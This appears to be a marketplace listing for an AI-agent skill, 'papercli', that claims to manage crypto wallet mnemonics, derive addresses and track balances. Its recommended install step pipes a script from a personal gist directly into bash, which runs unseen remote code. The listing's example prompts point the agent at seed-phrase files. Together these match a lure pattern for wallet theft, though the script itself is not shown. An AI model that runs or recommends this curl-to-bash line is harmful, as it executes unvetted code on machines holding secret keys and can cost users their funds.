papercli
Standalone single-agent skill for papercli. Prefer driving work via the CLI (commands/flags/files) because it’s the most efficient and safest path—typically saving ~99% of context/tokens versus pasting large code/docs.
Why use this skill?
Manage crypto wallets, mnemonic phrases, and portfolio tracking securely with papercli. Optimize your agent workflows using efficient CLI commands.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/corewarex/wallet-agentWhat This Skill Does
The papercli skill is a robust, command-line-driven toolkit designed for the OpenClaw agent to interact with cryptographic assets and mnemonic phrase management. By leveraging the papercli Go binary, the agent gains the ability to generate, validate, split, and join mnemonic phrases, as well as manage wallet imports and derivations for EVM and Solana ecosystems. This skill is built with an "infrastructure-as-code" philosophy: it prioritizes CLI flags, environment variables, and file-based inputs over interactive sessions, which significantly reduces token overhead and minimizes the risk of exposing sensitive data in chat logs.
Installation
You can install the skill via the OpenClaw manager:
clawhub install openclaw/skills/skills/corewarex/wallet-agent
For the underlying CLI, you may build from source using make build in the repository root or use the recommended installation script:
curl -fsSL "https://gist.githubusercontent.com/corewarex/50fa577143a18553643bb64a5a90640a/raw/19de37f71adf22435368c981d8ff2bbb28f11596/install-papercli.sh" | bash
Use Cases
- Security & Backup: Splitting mnemonic phrases into encrypted shards for cold storage or multi-location backups.
- Wallet Management: Batch deriving addresses or roles from imported mnemonics without manual wallet software interaction.
- Portfolio Tracking: Querying EVM scan APIs or Solana RPC endpoints to retrieve balance data using standardized configuration files.
- Efficiency: Processing bulk mnemonic validation or list generation via scriptable command patterns rather than manual input.
Example Prompts
- "Split my mnemonic.txt into 3 encrypted shards using an AES-256 key from my system environment variable, ensuring each shard is validated for 12-word integrity."
- "Import the mnemonic from secure_vault.txt, derive the first 5 addresses for the Solana wallet, and save the output to derived_addresses.json."
- "Track the current portfolio balance for my main EVM wallet; make sure to use the API key defined in my config.json."
Tips & Limitations
- Security First: Never pass private keys as inline strings in your prompts. Always use the
--password-envor--key-envflags. - Format Consistency: When splitting, the
{COUNT_INDEX}placeholder is mandatory to ensure correct naming of output files. - Scope: This skill does not include OCR, scraping, or GUI interaction. It is strictly a CLI utility for data processing and key management. Verify that your
config.jsonis correctly set up for tracking features before executingtrackcommands to avoid API authentication errors.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-corewarex-wallet-agent": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, external-api